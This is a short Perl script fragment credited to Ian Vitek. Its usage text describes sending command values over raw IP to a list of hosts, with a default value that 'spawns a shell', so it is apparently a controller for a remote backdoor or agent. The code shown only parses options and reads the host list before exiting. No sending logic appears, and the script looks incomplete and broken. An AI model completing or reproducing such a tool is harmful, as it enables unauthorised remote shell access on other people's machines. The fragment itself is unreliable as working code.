# Ian Vitek <ian.vitek@infosec.se>)
require 'getopts.pl';
use Net::RawIP;
require 'netinet/in.ph';
Getopts('a:c:f:i:vh');
die "usage: $0 [options] iplist\
\t-a arg\t\tSend command argument 'arg' (default \"12345\")\
\t-c val\t\tSend command value 'val' (default 456 - spawn a shell)\
\t-f from_host\t\t(default:$hostname)\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );
if ($ARGV[0]) {
open(I,"<$ARGV[0]") || die "could not open file: '$ARGV[0]'";
while (<I>) {
chop;
push(@list,$_);
}
close(I);
}
exit(0);
--------------------------------------------------------------------------------